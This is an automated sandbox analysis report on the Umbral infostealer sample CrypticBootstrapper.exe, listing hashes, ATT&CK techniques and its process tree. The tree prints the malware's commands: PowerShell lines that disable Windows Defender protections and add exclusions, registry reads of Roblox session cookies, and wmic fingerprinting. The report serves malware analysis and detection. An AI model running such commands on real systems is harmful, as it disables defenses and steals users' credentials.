umbral | 2c00e70fba3fc1ba12f7651d73a23c1294c684c507742c754f9460ecdcdf5fc6

Analysis

max time kernel
96s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
03/02/2025, 17:26

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General

Target

CrypticBootstrapper.exe
Size

235KB
MD5

6ead93b6a9556b1fb06864131b2f5593
SHA1

fa1b1a247aa197036c94667e9f3c0ed8d79a22bc
SHA256

2c00e70fba3fc1ba12f7651d73a23c1294c684c507742c754f9460ecdcdf5fc6
SHA512

8a388cdcb275afd74b1f7320f8d0882847ae88a949924603022e7e7c6dd855f8004166119f7f3a9aff54ff83ce0264dd25d17338071e4137e6a25a5ce2764202
SSDEEP

6144:rloZMLrIkd8g+EtXHkv/iD4HbmedLocDXabtIExfHb8e1mILKpi:poZ0L+EP8HbmedLocDXabtIExrfKw

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4092-1-0x00000207F4DE0000-0x00000207F4E20000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2776	powershell.exe
3824	powershell.exe
2552	powershell.exe
4304	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	CrypticBootstrapper.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
24	discord.com
25	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3024	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4092	CrypticBootstrapper.exe
2776	powershell.exe
2776	powershell.exe
3824	powershell.exe
3824	powershell.exe
2552	powershell.exe
2552	powershell.exe
1084	powershell.exe
1084	powershell.exe
4304	powershell.exe
4304	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4092	CrypticBootstrapper.exe
Token: SeIncreaseQuotaPrivilege	4316	wmic.exe
Token: SeSecurityPrivilege	4316	wmic.exe
Token: SeTakeOwnershipPrivilege	4316	wmic.exe
Token: SeLoadDriverPrivilege	4316	wmic.exe
Token: SeSystemProfilePrivilege	4316	wmic.exe
Token: SeSystemtimePrivilege	4316	wmic.exe
Token: SeProfSingleProcessPrivilege	4316	wmic.exe
Token: SeIncBasePriorityPrivilege	4316	wmic.exe
Token: SeCreatePagefilePrivilege	4316	wmic.exe
Token: SeBackupPrivilege	4316	wmic.exe
Token: SeRestorePrivilege	4316	wmic.exe
Token: SeShutdownPrivilege	4316	wmic.exe
Token: SeDebugPrivilege	4316	wmic.exe
Token: SeSystemEnvironmentPrivilege	4316	wmic.exe
Token: SeRemoteShutdownPrivilege	4316	wmic.exe
Token: SeUndockPrivilege	4316	wmic.exe
Token: SeManageVolumePrivilege	4316	wmic.exe
Token: 33	4316	wmic.exe
Token: 34	4316	wmic.exe
Token: 35	4316	wmic.exe
Token: 36	4316	wmic.exe
Token: SeIncreaseQuotaPrivilege	4316	wmic.exe
Token: SeSecurityPrivilege	4316	wmic.exe
Token: SeTakeOwnershipPrivilege	4316	wmic.exe
Token: SeLoadDriverPrivilege	4316	wmic.exe
Token: SeSystemProfilePrivilege	4316	wmic.exe
Token: SeSystemtimePrivilege	4316	wmic.exe
Token: SeProfSingleProcessPrivilege	4316	wmic.exe
Token: SeIncBasePriorityPrivilege	4316	wmic.exe
Token: SeCreatePagefilePrivilege	4316	wmic.exe
Token: SeBackupPrivilege	4316	wmic.exe
Token: SeRestorePrivilege	4316	wmic.exe
Token: SeShutdownPrivilege	4316	wmic.exe
Token: SeDebugPrivilege	4316	wmic.exe
Token: SeSystemEnvironmentPrivilege	4316	wmic.exe
Token: SeRemoteShutdownPrivilege	4316	wmic.exe
Token: SeUndockPrivilege	4316	wmic.exe
Token: SeManageVolumePrivilege	4316	wmic.exe
Token: 33	4316	wmic.exe
Token: 34	4316	wmic.exe
Token: 35	4316	wmic.exe
Token: 36	4316	wmic.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeIncreaseQuotaPrivilege	3004	wmic.exe
Token: SeSecurityPrivilege	3004	wmic.exe
Token: SeTakeOwnershipPrivilege	3004	wmic.exe
Token: SeLoadDriverPrivilege	3004	wmic.exe
Token: SeSystemProfilePrivilege	3004	wmic.exe
Token: SeSystemtimePrivilege	3004	wmic.exe
Token: SeProfSingleProcessPrivilege	3004	wmic.exe
Token: SeIncBasePriorityPrivilege	3004	wmic.exe
Token: SeCreatePagefilePrivilege	3004	wmic.exe
Token: SeBackupPrivilege	3004	wmic.exe
Token: SeRestorePrivilege	3004	wmic.exe
Token: SeShutdownPrivilege	3004	wmic.exe
Token: SeDebugPrivilege	3004	wmic.exe
Token: SeSystemEnvironmentPrivilege	3004	wmic.exe
Token: SeRemoteShutdownPrivilege	3004	wmic.exe
Token: SeUndockPrivilege	3004	wmic.exe
Token: SeManageVolumePrivilege	3004	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 4316	4092	CrypticBootstrapper.exe	85
PID 4092 wrote to memory of 4316	4092	CrypticBootstrapper.exe	85
PID 4092 wrote to memory of 2776	4092	CrypticBootstrapper.exe	89
PID 4092 wrote to memory of 2776	4092	CrypticBootstrapper.exe	89
PID 4092 wrote to memory of 3824	4092	CrypticBootstrapper.exe	92
PID 4092 wrote to memory of 3824	4092	CrypticBootstrapper.exe	92
PID 4092 wrote to memory of 2552	4092	CrypticBootstrapper.exe	94
PID 4092 wrote to memory of 2552	4092	CrypticBootstrapper.exe	94
PID 4092 wrote to memory of 1084	4092	CrypticBootstrapper.exe	96
PID 4092 wrote to memory of 1084	4092	CrypticBootstrapper.exe	96
PID 4092 wrote to memory of 3004	4092	CrypticBootstrapper.exe	98
PID 4092 wrote to memory of 3004	4092	CrypticBootstrapper.exe	98
PID 4092 wrote to memory of 1612	4092	CrypticBootstrapper.exe	100
PID 4092 wrote to memory of 1612	4092	CrypticBootstrapper.exe	100
PID 4092 wrote to memory of 400	4092	CrypticBootstrapper.exe	102
PID 4092 wrote to memory of 400	4092	CrypticBootstrapper.exe	102
PID 4092 wrote to memory of 4304	4092	CrypticBootstrapper.exe	104
PID 4092 wrote to memory of 4304	4092	CrypticBootstrapper.exe	104
PID 4092 wrote to memory of 3024	4092	CrypticBootstrapper.exe	106
PID 4092 wrote to memory of 3024	4092	CrypticBootstrapper.exe	106

C:\Users\Admin\AppData\Local\Temp\CrypticBootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\CrypticBootstrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CrypticBootstrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1084
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1612
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4304
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c65738617888921a153bd9b1ef516ee7

SHA1
5245e71ea3c181d76320c857b639272ac9e079b1

SHA256
4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

SHA512
2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2984662ba3f86d7fcf26758b5b76754d

SHA1
bc2a43ffd898222ee84406313f3834f226928379

SHA256
f0815f797b0c1829745dd65985f28d459688f91ceb2f3d76fed2d4309589bcde

SHA512
a06251a7a14559ebf5627a3c6b03fda9ded1d4ee44991283c824ccf5011cdf67665696d2d9b23507cbb3e3b9943b9e9f79ef28d3657eb61fb99920225417ab11

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rdta4fgd.g1c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2776-4-0x000001DB9CEF0000-0x000001DB9CF12000-memory.dmp

Filesize
136KB

Download
memory/2776-11-0x00007FF805680000-0x00007FF806141000-memory.dmp

Filesize
10.8MB

Download
memory/2776-15-0x00007FF805680000-0x00007FF806141000-memory.dmp

Filesize
10.8MB

Download
memory/2776-18-0x00007FF805680000-0x00007FF806141000-memory.dmp

Filesize
10.8MB

Download
memory/2776-3-0x00007FF805680000-0x00007FF806141000-memory.dmp

Filesize
10.8MB

Download
memory/4092-34-0x00000207F7400000-0x00000207F7450000-memory.dmp

Filesize
320KB

Download
memory/4092-33-0x00000207F7600000-0x00000207F7676000-memory.dmp

Filesize
472KB

Download
memory/4092-35-0x00000207F6A30000-0x00000207F6A4E000-memory.dmp

Filesize
120KB

Download
memory/4092-1-0x00000207F4DE0000-0x00000207F4E20000-memory.dmp

Filesize
256KB

Download
memory/4092-0-0x00007FF805683000-0x00007FF805685000-memory.dmp

Filesize
8KB

Download
memory/4092-72-0x00000207F6BC0000-0x00000207F6BD2000-memory.dmp

Filesize
72KB

Download
memory/4092-71-0x00000207F6A70000-0x00000207F6A7A000-memory.dmp

Filesize
40KB

Download
memory/4092-2-0x00007FF805680000-0x00007FF806141000-memory.dmp

Filesize
10.8MB

Download
memory/4092-90-0x00007FF805680000-0x00007FF806141000-memory.dmp

Filesize
10.8MB

Download